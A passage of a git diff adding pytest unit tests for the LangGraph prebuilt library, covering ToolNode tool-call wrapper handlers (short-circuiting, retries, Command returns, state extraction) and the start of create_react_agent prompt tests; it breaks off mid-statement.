"id": "call_10", + }, + { + "name": "add", + "args": {"a": 3, "b": 4}, + "id": "call_11", + }, + { + "name": "add", + "args": {"a": 5, "b": 6}, + "id": "call_12", + }, + ], + ) + ] + }, + config=_create_config_with_runtime(), + ) + + # Handler should be called once for each tool call + assert call_count == 3 + + # Verify all results + messages = result["messages"] + assert len(messages) == 3 + assert all(isinstance(m, ToolMessage) for m in messages) + assert messages[0].content == "3" + assert messages[1].content == "7" + assert messages[2].content == "11" + + +def test_tool_call_request_dataclass() -> None: + """Test ToolCallRequest dataclass.""" + tool_call: ToolCall = {"name": "add", "args": {"a": 1, "b": 2}, "id": "call_1"} + state: dict = {"messages": []} + runtime = None + + request = ToolCallRequest( + tool_call=tool_call, tool=add, state=state, runtime=runtime + ) # type: ignore[arg-type] + + assert request.tool_call == tool_call + assert request.tool == add + assert request.state == state + assert request.runtime is None + assert request.tool_call["name"] == "add" + + +async def test_handler_with_async_execution() -> None: + """Test handler works correctly with async tool execution.""" + + @tool + def async_add(a: int, b: int) -> int: + """Async add two numbers.""" + return a + b + + def modifying_handler( + request: ToolCallRequest, + execute: Callable[[ToolCallRequest], ToolMessage | Command], + ) -> ToolMessage | Command: + """Handler that modifies arguments.""" + # Add 10 to both arguments using override method + modified_call = { + **request.tool_call, + "args": { + **request.tool_call["args"], + "a": request.tool_call["args"]["a"] + 10, + "b": request.tool_call["args"]["b"] + 10, + }, + } + modified_request = request.override(tool_call=modified_call) + return execute(modified_request) + + tool_node = ToolNode([async_add], wrap_tool_call=modifying_handler) + + result = await tool_node.ainvoke( + { + "messages": [ + AIMessage( + "adding", + tool_calls=[ + { + "name": "async_add", + "args": {"a": 1, "b": 2}, + "id": "call_13", + } + ], + ) + ] + }, + config=_create_config_with_runtime(), + ) + + tool_message = result["messages"][-1] + assert isinstance(tool_message, ToolMessage) + # Original: 1 + 2 = 3, with modifications: 11 + 12 = 23 + assert tool_message.content == "23" + + +def test_short_circuit_with_tool_message() -> None: + """Test handler that returns ToolMessage to short-circuit tool execution.""" + + def short_circuit_handler( + request: ToolCallRequest, + _execute: Callable[[ToolCallRequest], ToolMessage | Command], + ) -> ToolMessage | Command: + """Handler that returns cached result without executing tool.""" + # Return a ToolMessage directly instead of calling execute + return ToolMessage( + content="cached_result", + tool_call_id=request.tool_call["id"], + name=request.tool_call["name"], + ) + + tool_node = ToolNode([add], wrap_tool_call=short_circuit_handler) + + result = tool_node.invoke( + { + "messages": [ + AIMessage( + "adding", + tool_calls=[ + { + "name": "add", + "args": {"a": 1, "b": 2}, + "id": "call_16", + } + ], + ) + ] + }, + config=_create_config_with_runtime(), + ) + + tool_message = result["messages"][-1] + assert isinstance(tool_message, ToolMessage) + assert tool_message.content == "cached_result" + assert tool_message.tool_call_id == "call_16" + assert tool_message.name == "add" + + +async def test_short_circuit_with_tool_message_async() -> None: + """Test async handler that returns ToolMessage to short-circuit tool execution.""" + + def short_circuit_handler( + request: ToolCallRequest, + _execute: Callable[[ToolCallRequest], ToolMessage | Command], + ) -> ToolMessage | Command: + """Handler that returns cached result without executing tool.""" + return ToolMessage( + content="async_cached_result", + tool_call_id=request.tool_call["id"], + name=request.tool_call["name"], + ) + + tool_node = ToolNode([add], wrap_tool_call=short_circuit_handler) + + result = await tool_node.ainvoke( + { + "messages": [ + AIMessage( + "adding", + tool_calls=[ + { + "name": "add", + "args": {"a": 2, "b": 3}, + "id": "call_17", + } + ], + ) + ] + }, + config=_create_config_with_runtime(), + ) + + tool_message = result["messages"][-1] + assert isinstance(tool_message, ToolMessage) + assert tool_message.content == "async_cached_result" + assert tool_message.tool_call_id == "call_17" + + +def test_conditional_short_circuit() -> None: + """Test handler that conditionally short-circuits based on request.""" + call_count = {"count": 0} + + def conditional_handler( + request: ToolCallRequest, + execute: Callable[[ToolCallRequest], ToolMessage | Command], + ) -> ToolMessage | Command: + """Handler that caches even numbers, executes odd.""" + call_count["count"] += 1 + a = request.tool_call["args"]["a"] + + if a % 2 == 0: + # Even: use cached result + return ToolMessage( + content=f"cached_{a}", + tool_call_id=request.tool_call["id"], + name=request.tool_call["name"], + ) + # Odd: execute normally + return execute(request) + + tool_node = ToolNode([add], wrap_tool_call=conditional_handler) + + # Test with even number (should be cached) + result1 = tool_node.invoke( + { + "messages": [ + AIMessage( + "adding", + tool_calls=[ + { + "name": "add", + "args": {"a": 2, "b": 3}, + "id": "call_18", + } + ], + ) + ] + }, + config=_create_config_with_runtime(), + ) + + tool_message1 = result1["messages"][-1] + assert tool_message1.content == "cached_2" + + # Test with odd number (should execute) + result2 = tool_node.invoke( + { + "messages": [ + AIMessage( + "adding", + tool_calls=[ + { + "name": "add", + "args": {"a": 3, "b": 4}, + "id": "call_19", + } + ], + ) + ] + }, + config=_create_config_with_runtime(), + ) + + tool_message2 = result2["messages"][-1] + assert tool_message2.content == "7" # Actual execution: 3 + 4 + + +def test_direct_return_tool_message() -> None: + """Test handler that returns ToolMessage directly without calling execute.""" + + def direct_return_handler( + request: ToolCallRequest, + _execute: Callable[[ToolCallRequest], ToolMessage | Command], + ) -> ToolMessage | Command: + """Handler that returns ToolMessage directly.""" + # Return ToolMessage directly instead of calling execute + return ToolMessage( + content="direct_return", + tool_call_id=request.tool_call["id"], + name=request.tool_call["name"], + ) + + tool_node = ToolNode([add], wrap_tool_call=direct_return_handler) + + result = tool_node.invoke( + { + "messages": [ + AIMessage( + "adding", + tool_calls=[ + { + "name": "add", + "args": {"a": 1, "b": 2}, + "id": "call_21", + } + ], + ) + ] + }, + config=_create_config_with_runtime(), + ) + + tool_message = result["messages"][-1] + assert isinstance(tool_message, ToolMessage) + assert tool_message.content == "direct_return" + assert tool_message.tool_call_id == "call_21" + assert tool_message.name == "add" + + +async def test_direct_return_tool_message_async() -> None: + """Test async handler that returns ToolMessage directly without calling execute.""" + + def direct_return_handler( + request: ToolCallRequest, + _execute: Callable[[ToolCallRequest], ToolMessage | Command], + ) -> ToolMessage | Command: + """Handler that returns ToolMessage directly.""" + return ToolMessage( + content="async_direct_return", + tool_call_id=request.tool_call["id"], + name=request.tool_call["name"], + ) + + tool_node = ToolNode([add], wrap_tool_call=direct_return_handler) + + result = await tool_node.ainvoke( + { + "messages": [ + AIMessage( + "adding", + tool_calls=[ + { + "name": "add", + "args": {"a": 2, "b": 3}, + "id": "call_22", + } + ], + ) + ] + }, + config=_create_config_with_runtime(), + ) + + tool_message = result["messages"][-1] + assert isinstance(tool_message, ToolMessage) + assert tool_message.content == "async_direct_return" + assert tool_message.tool_call_id == "call_22" + + +def test_conditional_direct_return() -> None: + """Test handler that conditionally returns ToolMessage directly or executes tool.""" + + def conditional_handler( + request: ToolCallRequest, + execute: Callable[[ToolCallRequest], ToolMessage | Command], + ) -> ToolMessage | Command: + """Handler that returns cached or executes based on condition.""" + a = request.tool_call["args"]["a"] + + if a == 0: + # Return ToolMessage directly for zero + return ToolMessage( + content="zero_cached", + tool_call_id=request.tool_call["id"], + name=request.tool_call["name"], + ) + # Execute tool normally + return execute(request) + + tool_node = ToolNode([add], wrap_tool_call=conditional_handler) + + # Test with zero (should return directly) + result1 = tool_node.invoke( + { + "messages": [ + AIMessage( + "adding", + tool_calls=[ + { + "name": "add", + "args": {"a": 0, "b": 5}, + "id": "call_23", + } + ], + ) + ] + }, + config=_create_config_with_runtime(), + ) + + tool_message1 = result1["messages"][-1] + assert tool_message1.content == "zero_cached" + + # Test with non-zero (should execute) + result2 = tool_node.invoke( + { + "messages": [ + AIMessage( + "adding", + tool_calls=[ + { + "name": "add", + "args": {"a": 3, "b": 4}, + "id": "call_24", + } + ], + ) + ] + }, + config=_create_config_with_runtime(), + ) + + tool_message2 = result2["messages"][-1] + assert tool_message2.content == "7" # Actual execution: 3 + 4 + + +def test_handler_can_throw_exception() -> None: + """Test that a handler can throw an exception to signal error.""" + + def throwing_handler( + request: ToolCallRequest, + execute: Callable[[ToolCallRequest], ToolMessage | Command], + ) -> ToolMessage | Command: + """Handler that throws an exception after receiving response.""" + response = execute(request) + # Check response and throw if invalid + if isinstance(response, ToolMessage): + msg = "Handler rejected the response" + raise TypeError(msg) + return response + + tool_node = ToolNode( + [add], wrap_tool_call=throwing_handler, handle_tool_errors=True + ) + + result = tool_node.invoke( + { + "messages": [ + AIMessage( + "adding", + tool_calls=[ + { + "name": "add", + "args": {"a": 1, "b": 2}, + "id": "call_exc_1", + } + ], + ) + ] + }, + config=_create_config_with_runtime(), + ) + + # Should get error message due to handle_tool_errors=True + messages = result["messages"] + assert len(messages) == 1 + assert isinstance(messages[0], ToolMessage) + assert messages[0].status == "error" + assert "Handler rejected the response" in messages[0].content + + +def test_handler_throw_without_handle_errors() -> None: + """Test that exception propagates when handle_tool_errors=False.""" + + def throwing_handler( + request: ToolCallRequest, + execute: Callable[[ToolCallRequest], ToolMessage | Command], + ) -> ToolMessage | Command: + """Handler that throws an exception.""" + execute(request) + msg = "Handler error" + raise ValueError(msg) + + tool_node = ToolNode( + [add], wrap_tool_call=throwing_handler, handle_tool_errors=False + ) + + with pytest.raises(ValueError, match="Handler error"): + tool_node.invoke( + { + "messages": [ + AIMessage( + "adding", + tool_calls=[ + { + "name": "add", + "args": {"a": 1, "b": 2}, + "id": "call_exc_2", + } + ], + ) + ] + }, + config=_create_config_with_runtime(), + ) + + +def test_retry_middleware_with_exception() -> None: + """Test retry middleware pattern that can call execute multiple times.""" + attempt_count = {"count": 0} + + def retry_handler( + request: ToolCallRequest, + execute: Callable[[ToolCallRequest], ToolMessage | Command], + ) -> ToolMessage | Command: + """Handler that can retry by calling execute multiple times.""" + max_retries = 3 + + for _attempt in range(max_retries): + attempt_count["count"] += 1 + response = execute(request) + + # Simulate checking for retriable errors + # In real use case, would check response.status or content + if isinstance(response, ToolMessage): + # For this test, just succeed immediately + return response + + # If we exhausted retries, return last response + return response + + tool_node = ToolNode([add], wrap_tool_call=retry_handler) + + result = tool_node.invoke( + { + "messages": [ + AIMessage( + "adding", + tool_calls=[ + { + "name": "add", + "args": {"a": 1, "b": 2}, + "id": "call_exc_3", + } + ], + ) + ] + }, + config=_create_config_with_runtime(), + ) + + # Should succeed after 1 attempt + assert attempt_count["count"] == 1 + messages = result["messages"] + assert len(messages) == 1 + assert isinstance(messages[0], ToolMessage) + assert messages[0].content == "3" + + +async def test_async_handler_can_throw_exception() -> None: + """Test that async execution also supports exception throwing.""" + + def throwing_handler( + _request: ToolCallRequest, + _execute: Callable[[ToolCallRequest], ToolMessage | Command], + ) -> ToolMessage | Command: + """Handler that throws an exception before calling execute.""" + # Throw exception before executing (to avoid async/await complications) + msg = "Async handler rejected the request" + raise ValueError(msg) + + tool_node = ToolNode( + [add], wrap_tool_call=throwing_handler, handle_tool_errors=True + ) + + result = await tool_node.ainvoke( + { + "messages": [ + AIMessage( + "adding", + tool_calls=[ + { + "name": "add", + "args": {"a": 1, "b": 2}, + "id": "call_exc_4", + } + ], + ) + ] + }, + config=_create_config_with_runtime(), + ) + + # Should get error message due to handle_tool_errors=True + messages = result["messages"] + assert len(messages) == 1 + assert isinstance(messages[0], ToolMessage) + assert messages[0].status == "error" + assert "Async handler rejected the request" in messages[0].content + + +def test_handler_cannot_yield_multiple_tool_messages() -> None: + """Test that handler can only return once (not applicable to handler pattern).""" + # With handler pattern, you can only return once by definition + # This test is no longer relevant - handlers naturally return once + # Keep test for compatibility but with simple passthrough + + def single_return_handler( + request: ToolCallRequest, + execute: Callable[[ToolCallRequest], ToolMessage | Command], + ) -> ToolMessage | Command: + """Handler that returns once (as all handlers do).""" + return execute(request) + + tool_node = ToolNode([add], wrap_tool_call=single_return_handler) + + result = tool_node.invoke( + { + "messages": [ + AIMessage( + "adding", + tool_calls=[ + { + "name": "add", + "args": {"a": 1, "b": 2}, + "id": "call_multi_1", + } + ], + ) + ] + }, + config=_create_config_with_runtime(), + ) + + # Should succeed - handlers can only return once + assert isinstance(result, dict) + assert len(result["messages"]) == 1 + + +def test_handler_cannot_yield_request_after_tool_message() -> None: + """Test that handler pattern doesn't allow multiple returns (not applicable).""" + # With handler pattern, you can only return once + # This test is no longer relevant + + def single_return_handler( + request: ToolCallRequest, + _execute: Callable[[ToolCallRequest], ToolMessage | Command], + ) -> ToolMessage | Command: + """Handler that returns cached result.""" + # Return cached result (short-circuit) + return ToolMessage("cached", tool_call_id=request.tool_call["id"], name="add") + + tool_node = ToolNode([add], wrap_tool_call=single_return_handler) + + result = tool_node.invoke( + { + "messages": [ + AIMessage( + "adding", + tool_calls=[ + { + "name": "add", + "args": {"a": 1, "b": 2}, + "id": "call_confused_1", + } + ], + ) + ] + }, + config=_create_config_with_runtime(), + ) + + # Should succeed with cached result + assert isinstance(result, dict) + assert result["messages"][0].content == "cached" + + +def test_handler_can_short_circuit_with_command() -> None: + """Test that handler can short-circuit by returning Command.""" + + def command_handler( + _request: ToolCallRequest, + _execute: Callable[[ToolCallRequest], ToolMessage | Command], + ) -> ToolMessage | Command: + """Handler that short-circuits with Command.""" + # Short-circuit with Command instead of executing tool + return Command(goto="end") + + tool_node = ToolNode([add], wrap_tool_call=command_handler) + + result = tool_node.invoke( + { + "messages": [ + AIMessage( + "adding", + tool_calls=[ + { + "name": "add", + "args": {"a": 1, "b": 2}, + "id": "call_cmd_1", + } + ], + ) + ] + }, + config=_create_config_with_runtime(), + ) + + # Should get Command in result list + assert isinstance(result, list) + assert len(result) == 1 + assert isinstance(result[0], Command) + assert result[0].goto == "end" + + +def test_handler_cannot_yield_multiple_commands() -> None: + """Test that handler can only return once (not applicable to handler pattern).""" + # With handler pattern, you can only return once + # This test is no longer relevant + + def single_command_handler( + _request: ToolCallRequest, + _execute: Callable[[ToolCallRequest], ToolMessage | Command], + ) -> ToolMessage | Command: + """Handler that returns Command once.""" + return Command(goto="step1") + + tool_node = ToolNode([add], wrap_tool_call=single_command_handler) + + result = tool_node.invoke( + { + "messages": [ + AIMessage( + "adding", + tool_calls=[ + { + "name": "add", + "args": {"a": 1, "b": 2}, + "id": "call_multicmd_1", + } + ], + ) + ] + }, + config=_create_config_with_runtime(), + ) + + # Should succeed - handlers naturally return once + assert isinstance(result, list) + assert len(result) == 1 + assert isinstance(result[0], Command) + assert result[0].goto == "step1" + + +def test_handler_cannot_yield_request_after_command() -> None: + """Test that handler can only return once (not applicable to handler pattern).""" + # With handler pattern, you can only return once + # This test is no longer relevant + + def command_handler( + _request: ToolCallRequest, + _execute: Callable[[ToolCallRequest], ToolMessage | Command], + ) -> ToolMessage | Command: + """Handler that returns Command.""" + return Command(goto="somewhere") + + tool_node = ToolNode([add], wrap_tool_call=command_handler) + + result = tool_node.invoke( + { + "messages": [ + AIMessage( + "adding", + tool_calls=[ + { + "name": "add", + "args": {"a": 1, "b": 2}, + "id": "call_cmdreq_1", + } + ], + ) + ] + }, + config=_create_config_with_runtime(), + ) + + # Should succeed with Command + assert isinstance(result, list) + assert len(result) == 1 + assert isinstance(result[0], Command) + assert result[0].goto == "somewhere" + + +def test_tool_returning_command_sent_to_handler() -> None: + """Test that when tool returns Command, it's sent to handler.""" + received_commands = [] + + def command_inspector_handler( + request: ToolCallRequest, + execute: Callable[[ToolCallRequest], ToolMessage | Command], + ) -> ToolMessage | Command: + """Handler that inspects Command returned by tool.""" + result = execute(request) + # Should receive Command from tool + if isinstance(result, Command): + received_commands.append(result) + return result + + tool_node = ToolNode([command_tool], wrap_tool_call=command_inspector_handler) + + result = tool_node.invoke( + { + "messages": [ + AIMessage( + "navigating", + tool_calls=[ + { + "name": "command_tool", + "args": {"goto": "next_step"}, + "id": "call_cmdtool_1", + } + ], + ) + ] + }, + config=_create_config_with_runtime(), + ) + + # Handler should have received the Command + assert len(received_commands) == 1 + assert received_commands[0].goto == "next_step" + + # Final result should be the Command in result list + assert isinstance(result, list) + assert len(result) == 1 + assert isinstance(result[0], Command) + assert result[0].goto == "next_step" + + +def test_handler_can_modify_command_from_tool() -> None: + """Test that handler can inspect and modify Command from tool.""" + + def command_modifier_handler( + request: ToolCallRequest, + execute: Callable[[ToolCallRequest], ToolMessage | Command], + ) -> ToolMessage | Command: + """Handler that modifies Command returned by tool.""" + result = execute(request) + # Modify the Command + if isinstance(result, Command): + return Command(goto=f"modified_{result.goto}") + return result + + tool_node = ToolNode([command_tool], wrap_tool_call=command_modifier_handler) + + result = tool_node.invoke( + { + "messages": [ + AIMessage( + "navigating", + tool_calls=[ + { + "name": "command_tool", + "args": {"goto": "original"}, + "id": "call_cmdmod_1", + } + ], + ) + ] + }, + config=_create_config_with_runtime(), + ) + + # Final result should be the modified Command in result list + assert isinstance(result, list) + assert len(result) == 1 + assert isinstance(result[0], Command) + assert result[0].goto == "modified_original" + + +def test_state_extraction_with_dict_input() -> None: + """Test that state is correctly passed when input is a dict.""" + state_seen = [] + + def state_inspector_handler( + request: ToolCallRequest, + execute: Callable[[ToolCallRequest], ToolMessage | Command], + ) -> ToolMessage | Command: + """Handler that records the state it receives.""" + state_seen.append(request.state) + return execute(request) + + tool_node = ToolNode([add], wrap_tool_call=state_inspector_handler) + + input_state = { + "messages": [ + AIMessage( + "test", + tool_calls=[{"name": "add", "args": {"a": 1, "b": 2}, "id": "call_1"}], + ) + ], + "other_field": "value", + } + + tool_node.invoke(input_state, config=_create_config_with_runtime()) + + # State should be the dict we passed in + assert len(state_seen) == 1 + assert state_seen[0] == input_state + assert isinstance(state_seen[0], dict) + assert "messages" in state_seen[0] + assert "other_field" in state_seen[0] + assert "__type" not in state_seen[0] + + +def test_state_extraction_with_list_input() -> None: + """Test that state is correctly passed when input is a list.""" + state_seen = [] + + def state_inspector_handler( + request: ToolCallRequest, + execute: Callable[[ToolCallRequest], ToolMessage | Command], + ) -> ToolMessage | Command: + """Handler that records the state it receives.""" + state_seen.append(request.state) + return execute(request) + + tool_node = ToolNode([add], wrap_tool_call=state_inspector_handler) + + input_state = [ + AIMessage( + "test", + tool_calls=[{"name": "add", "args": {"a": 1, "b": 2}, "id": "call_1"}], + ) + ] + + tool_node.invoke(input_state, config=_create_config_with_runtime()) + + # State should be the list we passed in + assert len(state_seen) == 1 + assert state_seen[0] == input_state + assert isinstance(state_seen[0], list) + + +def test_state_extraction_with_tool_call_with_context() -> None: + """Test that state is correctly extracted from ToolCallWithContext. + + This tests the scenario where ToolNode is invoked via the Send API in + create_agent, which wraps the tool call with additional context including + the graph state. + """ + state_seen = [] + + def state_inspector_handler( + request: ToolCallRequest, + execute: Callable[[ToolCallRequest], ToolMessage | Command], + ) -> ToolMessage | Command: + """Handler that records the state it receives.""" + state_seen.append(request.state) + return execute(request) + + tool_node = ToolNode([add], wrap_tool_call=state_inspector_handler) + + # Simulate ToolCallWithContext as used by create_agent with Send API + actual_state = { + "messages": [AIMessage("test")], + "thread_model_call_count": 1, + "run_model_call_count": 1, + "custom_field": "custom_value", + } + + tool_call_with_context = { + "__type": "tool_call_with_context", + "tool_call": { + "name": "add", + "args": {"a": 1, "b": 2}, + "id": "call_1", + "type": "tool_call", + }, + "state": actual_state, + } + + tool_node.invoke(tool_call_with_context, config=_create_config_with_runtime()) + + # State should be the extracted state from ToolCallWithContext, not the wrapper + assert len(state_seen) == 1 + assert state_seen[0] == actual_state + assert isinstance(state_seen[0], dict) + assert "messages" in state_seen[0] + assert "thread_model_call_count" in state_seen[0] + assert "custom_field" in state_seen[0] + # Most importantly, __type should NOT be in the extracted state + assert "__type" not in state_seen[0] + # And tool_call should not be in the state + assert "tool_call" not in state_seen[0] + + +async def test_state_extraction_with_tool_call_with_context_async() -> None: + """Test that state is correctly extracted from ToolCallWithContext in async mode.""" + state_seen = [] + + def state_inspector_handler( + request: ToolCallRequest, + execute: Callable[[ToolCallRequest], ToolMessage | Command], + ) -> ToolMessage | Command: + """Handler that records the state it receives.""" + state_seen.append(request.state) + return execute(request) + + tool_node = ToolNode([add], wrap_tool_call=state_inspector_handler) + + # Simulate ToolCallWithContext as used by create_agent with Send API + actual_state = { + "messages": [AIMessage("test")], + "thread_model_call_count": 1, + "run_model_call_count": 1, + } + + tool_call_with_context = { + "__type": "tool_call_with_context", + "tool_call": { + "name": "add", + "args": {"a": 1, "b": 2}, + "id": "call_1", + "type": "tool_call", + }, + "state": actual_state, + } + + await tool_node.ainvoke( + tool_call_with_context, config=_create_config_with_runtime() + ) + + # State should be the extracted state from ToolCallWithContext + assert len(state_seen) == 1 + assert state_seen[0] == actual_state + assert "__type" not in state_seen[0] + assert "tool_call" not in state_seen[0] + + +def _config_with_channel_read( + channel_values: dict[str, object], + store: BaseStore | None = None, +) -> RunnableConfig: + """Build a config that mimics `CONFIG_KEY_READ` as Pregel installs it. + + Pregel always installs a `functools.partial(local_read, scratchpad, + channels, managed, task)`, and `ToolNode` introspects that partial to + learn channel names. The stub matches the shape: partial whose second and + third positional args are `channels` and `managed` mappings. + """ + import functools + + channels_stub = {k: None for k in channel_values} + managed_stub: dict[str, object] = {} + + # Shape matches pregel's real partial: + # functools.partial(local_read, scratchpad, channels, managed, task) + def _read(scratchpad, channels, managed, task, select, fresh): # noqa: ARG001 + if isinstance(select, str): + return channel_values[select] + return {k: channel_values[k] for k in select if k in channel_values} + + read = functools.partial(_read, None, channels_stub, managed_stub, None) + cfg = _create_config_with_runtime(store) + cfg["configurable"]["__pregel_read"] = read + return cfg + + +def test_list_form_send_hydrates_state_from_channel_read() -> None: + """Send('tools', [tool_call]) with no inlined state should hydrate + ToolRuntime.state from CONFIG_KEY_READ (full state read).""" + state_seen = [] + + def state_inspector_handler( + request: ToolCallRequest, + execute: Callable[[ToolCallRequest], ToolMessage | Command], + ) -> ToolMessage | Command: + state_seen.append(request.state) + return execute(request) + + channel_values = { + "messages": [AIMessage("from channels")], + "files": {"/a.md": "body"}, + } + + tool_node = ToolNode([add], wrap_tool_call=state_inspector_handler) + + tool_call: ToolCall = { + "name": "add", + "args": {"a": 1, "b": 2}, + "id": "call_1", + "type": "tool_call", + } + + tool_node.invoke([tool_call], config=_config_with_channel_read(channel_values)) + + assert len(state_seen) == 1 + got = state_seen[0] + assert got == channel_values + assert "messages" in got and "files" in got + + +async def test_list_form_send_hydrates_state_async() -> None: + state_seen = [] + + def state_inspector_handler( + request: ToolCallRequest, + execute: Callable[[ToolCallRequest], ToolMessage | Command], + ) -> ToolMessage | Command: + state_seen.append(request.state) + return execute(request) + + channel_values = {"messages": [AIMessage("from channels")], "files": {}} + + tool_node = ToolNode([add], wrap_tool_call=state_inspector_handler) + + tool_call: ToolCall = { + "name": "add", + "args": {"a": 1, "b": 2}, + "id": "call_1", + "type": "tool_call", + } + + await tool_node.ainvoke( + [tool_call], config=_config_with_channel_read(channel_values) + ) + + assert len(state_seen) == 1 + assert state_seen[0] == channel_values + + +def test_tool_call_request_is_frozen() -> None: + """Test that ToolCallRequest raises deprecation warnings on direct attribute reassignment.""" + tool_call: ToolCall = {"name": "add", "args": {"a": 1, "b": 2}, "id": "call_1"} + state: dict = {"messages": []} + runtime = None + + request = ToolCallRequest( + tool_call=tool_call, tool=add, state=state, runtime=runtime + ) # type: ignore[arg-type] + + # Test that direct attribute reassignment raises DeprecationWarning + with pytest.warns( + DeprecationWarning, + match="Setting attribute 'tool_call' on ToolCallRequest is deprecated", + ): + request.tool_call = {"name": "other", "args": {}, "id": "call_2"} # type: ignore[misc] + + with pytest.warns( + DeprecationWarning, + match="Setting attribute 'tool' on ToolCallRequest is deprecated", + ): + request.tool = None # type: ignore[misc] + + with pytest.warns( + DeprecationWarning, + match="Setting attribute 'state' on ToolCallRequest is deprecated", + ): + request.state = {} # type: ignore[misc] + + with pytest.warns( + DeprecationWarning, + match="Setting attribute 'runtime' on ToolCallRequest is deprecated", + ): + request.runtime = None # type: ignore[misc] + + # Test that override method works correctly + new_tool_call: ToolCall = { + "name": "multiply", + "args": {"x": 5, "y": 10}, + "id": "call_3", + } + + # Original request should be unchanged (note: it was modified by the warnings tests above) + # So we create a fresh request to test override properly + fresh_request = ToolCallRequest( + tool_call=tool_call, tool=add, state=state, runtime=runtime + ) # type: ignore[arg-type] + fresh_new_request = fresh_request.override(tool_call=new_tool_call) + + # Original request should be unchanged + assert fresh_request.tool_call == tool_call + assert fresh_request.tool_call["name"] == "add" + + # New request should have the updated tool_call + assert fresh_new_request.tool_call == new_tool_call + assert fresh_new_request.tool_call["name"] == "multiply" + assert fresh_new_request.tool == add # Other fields should remain the same + assert fresh_new_request.state == state + assert fresh_new_request.runtime is None diff --git a/libs/prebuilt/tests/test_react_agent.py b/libs/prebuilt/tests/test_react_agent.py new file mode 100644 index 0000000..c801a96 --- /dev/null +++ b/libs/prebuilt/tests/test_react_agent.py @@ -0,0 +1,2156 @@ +import dataclasses +import inspect +import json +import sys +from functools import partial +from typing import ( + Annotated, + Literal, + TypeVar, +) +from unittest.mock import Mock + +import pytest +from langchain_core.language_models import BaseChatModel +from langchain_core.messages import ( + AIMessage, + AnyMessage, + HumanMessage, + MessageLikeRepresentation, + RemoveMessage, + SystemMessage, + ToolCall, + ToolMessage, +) +from langchain_core.runnables import RunnableConfig, RunnableLambda +from langchain_core.tools import InjectedToolCallId, ToolException +from langchain_core.tools import tool as dec_tool +from langgraph.checkpoint.base import BaseCheckpointSaver +from langgraph.config import get_stream_writer +from langgraph.graph import START, MessagesState, StateGraph, add_messages +from langgraph.graph.message import REMOVE_ALL_MESSAGES +from langgraph.runtime import Runtime +from langgraph.store.base import BaseStore +from langgraph.store.memory import InMemoryStore +from langgraph.types import Command, Interrupt, interrupt +from pydantic import BaseModel, Field +from pydantic.v1 import BaseModel as BaseModelV1 +from typing_extensions import TypedDict + +from langgraph.prebuilt import ( + ToolNode, + create_react_agent, + tools_condition, +) +from langgraph.prebuilt.chat_agent_executor import ( + AgentState, + AgentStatePydantic, + StateSchemaType, + _get_model, + _should_bind_tools, + _validate_chat_history, +) +from langgraph.prebuilt.tool_node import ( + InjectedState, + InjectedStore, + _infer_handled_types, +) +from tests.any_str import AnyStr +from tests.messages import _AnyIdHumanMessage, _AnyIdToolMessage +from tests.model import FakeToolCallingModel + +pytestmark = pytest.mark.anyio + +REACT_TOOL_CALL_VERSIONS = ["v1", "v2"] + + +def _create_mock_runtime(store: BaseStore | None = None) -> Mock: + """Create a mock Runtime object for testing ToolNode outside of graph context. + + This helper is needed because ToolNode._func expects a Runtime parameter + which is injected by RunnableCallable from config["configurable"]["__pregel_runtime"]. + When testing ToolNode directly (outside a graph), we need to provide this manually. + """ + mock_runtime = Mock() + mock_runtime.store = store + mock_runtime.context = None + mock_runtime.stream_writer = lambda *args, **kwargs: None + return mock_runtime + + +def _create_config_with_runtime(store: BaseStore | None = None) -> RunnableConfig: + """Create a RunnableConfig with mock Runtime for testing ToolNode. + + Returns: + RunnableConfig with __pregel_runtime in configurable dict. + """ + return {"configurable": {"__pregel_runtime": _create_mock_runtime(store)}} + + +@pytest.mark.parametrize("version", REACT_TOOL_CALL_VERSIONS) +def test_no_prompt(sync_checkpointer: BaseCheckpointSaver, version: str) -> None: + model = FakeToolCallingModel() + + agent = create_react_agent( + model, + [], + checkpointer=sync_checkpointer, + version=version, + ) + inputs = [HumanMessage("hi?")] + thread = {"configurable": {"thread_id": "123"}} + response = agent.invoke({"messages": inputs}, thread, debug=True) + expected_response = {"messages": inputs + [AIMessage(content="hi?", id="0")]} + assert response == expected_response + + saved = sync_checkpointer.get_tuple(thread) + assert saved is not None + assert saved.checkpoint["channel_values"] == { + "messages": [ + _AnyIdHumanMessage(content="hi?"), + AIMessage(content="hi?", id="0"), + ], + } + assert saved.metadata == { + "parents": {}, + "source": "loop", + "step": 1, + } + assert saved.pending_writes == [] + + +async def test_no_prompt_async(async_checkpointer: BaseCheckpointSaver) -> None: + model = FakeToolCallingModel() + + agent = create_react_agent(model, [], checkpointer=async_checkpointer) + inputs = [HumanMessage("hi?")] + thread = {"configurable": {"thread_id": "123"}} + response = await agent.ainvoke({"messages": inputs}, thread, debug=True) + expected_response = {"messages": inputs + [AIMessage(content="hi?", id="0")]} + assert response == expected_response + + saved = await async_checkpointer.aget_tuple(thread) + assert saved is not None + assert saved.checkpoint["channel_values"] == { + "messages": [ + _AnyIdHumanMessage(content="hi?"), + AIMessage(content="hi?", id="0"), + ], + } + assert saved.metadata == { + "parents": {}, + "source": "loop", + "step": 1, + } + assert saved.pending_writes == [] + + +def test_system_message_prompt(): + prompt = SystemMessage(content="Foo") + agent = create_react_agent(FakeToolCallingModel(), [], prompt=prompt) + inputs = [HumanMessage("hi?")] + response = agent.invoke({"messages": inputs}) + expected_response = { + "messages": inputs + [AIMessage(content="Foo-hi?", id="0", tool_calls=[])] + } + assert response == expected_response + + +def test_string_prompt(): + prompt = "Foo" + agent = create_react_agent(FakeToolCallingModel(), [], prompt=prompt) + inputs = [HumanMessage("hi?")] + response = agent.invoke({"messages": inputs}) + expected_response = { + "messages": inputs + [AIMessage(content="Foo-hi?", id="0", tool_calls=[])] + } + assert response == expected_response + + +def test_callable_prompt(): + def prompt(state): + modified_message = f"Bar {state['messages'][-1].content}" + return [HumanMessage(content=modified_message)] + + agent = create_react_agent(FakeToolCallingModel(), [], prompt=prompt) + inputs = [HumanMessage("hi?")] + response = agent.invoke({"messages": inputs}) + expected_response = {"messages": inputs + [AIMessage(content="Bar hi?", id="0")]} + assert response == expected_response + + +async def test_callable_prompt_async(): + async def prompt(state): + modified_message = f"Bar {state['messages'][-1].content}" + return [HumanMessage(content=modified_message)] + + agent = create_react_agent(FakeToolCallingModel(), [], prompt=prompt) + inputs = [HumanMessage("hi?")] + response = await agent.ainvoke({"messages": inputs}) + expected_response = {"messages": inputs + [AIMessage(content="Bar hi?", id="0")]} + assert response == expected_response + + +def test_runnable_prompt(): + prompt = RunnableLambda( + lambda state: [HumanMessage(content=f"Baz {state['messages'][-1].content}")] + ) + + agent = 